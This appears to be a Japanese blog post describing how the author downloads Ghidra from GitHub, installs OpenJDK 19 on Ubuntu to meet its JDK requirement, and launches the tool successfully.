https://htmlpreview.github.io/?https://github.com/NationalSecurityAgency/ghidra/blob/stable/GhidraDocs/InstallationGuide.html
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/9990044d-769c-4267-ce9b-2288477f2b03.png)

このドキュメントによると、インストールは展開するだけ。
ではダウンロード。ここから落とす。

https://github.com/NationalSecurityAgency/ghidra/releases

![mage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/8e6c7ed3-6447-ba07-7fe4-b9e520d71cc8.png)
おお、NSA のアカウントがあるんだ。

ghidra_10.2.3_PUBLIC_20230208.zip
をダウンロードして展開しました。

展開したらこんな感じ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/ed4f4cb3-1961-0320-bd84-ea556a3066cb.png)

該当ディレクトリに移って、実行してみる
```
$ ./ghidraRun 
```
以下のように出たので一回終了
```
******************************************************************
JDK 17+ (64-bit) could not be found and must be manually chosen!
******************************************************************
Enter path to JDK home directory (ENTER for dialog): 
Opening selection dialog...
Not a valid JDK home directory. Directory not specified!
Enter path to JDK home directory (ENTER for dialog): 
```

# JDK のインストール

jdk は以下のようなものを使っていたので
```
$ java --version
openjdk 11.0.18 2023-01-17
OpenJDK Runtime Environment (build 11.0.18+10-post-Ubuntu-0ubuntu122.04)
OpenJDK 64-Bit Server VM (build 11.0.18+10-post-Ubuntu-0ubuntu122.04, mixed mode, sharing)
```

Ubuntuパッケージにはどのようなものがあるかな?

```
$ sudo apt-cache search openjdk
default-jdk-doc - 標準的な Java または Java 互換の開発キット (ドキュメンテーション)
default-jdk-headless - Standard Java or Java compatible Development Kit (headless)
default-jre - 標準的な Java または Java 互換のランタイム
default-jre-headless - 標準的な Java または Java 互換のランタイム (ヘッドレス)
openjdk-11-dbg - OpenJDK ベースの Java ランタイム (デバッグシンボル)
openjdk-11-doc - OpenJDK Development Kit (JDK) documentation
openjdk-11-jdk - OpenJDK Development Kit (JDK)
openjdk-11-jdk-headless - OpenJDK Development Kit (JDK) (headless)
openjdk-11-jre - OpenJDK Java ランタイム - Hotspot JIT 版
openjdk-11-jre-headless - OpenJDK Java ランタイム - Hotspot JIT 版 (ヘッドレス)
openjdk-11-source - OpenJDK Development Kit (JDK) source files
.
.
.
iopenjdk-17-jdk - OpenJDK Development Kit (JDK)
.
.
.
openjdk-18-jdk - OpenJDK Development Kit (JDK)
.
.
.
openjdk-19-jdk - OpenJDK Development Kit (JDK)
.
.
.
```

なるほど。今回は openjdk-190-jdk  をインストールすることにしました。
```
$ sudo apt install openjdk-19-jdk
```
# Ghidra を起動する

インストールが終わったので改めて
```
$ ./ghidraRun 
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/7ecd3c65-69c4-bff5-5d9d-d33d104390d4.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/22ae1575-0130-36d4-01fe-a31e2fca87c4.png)
動きました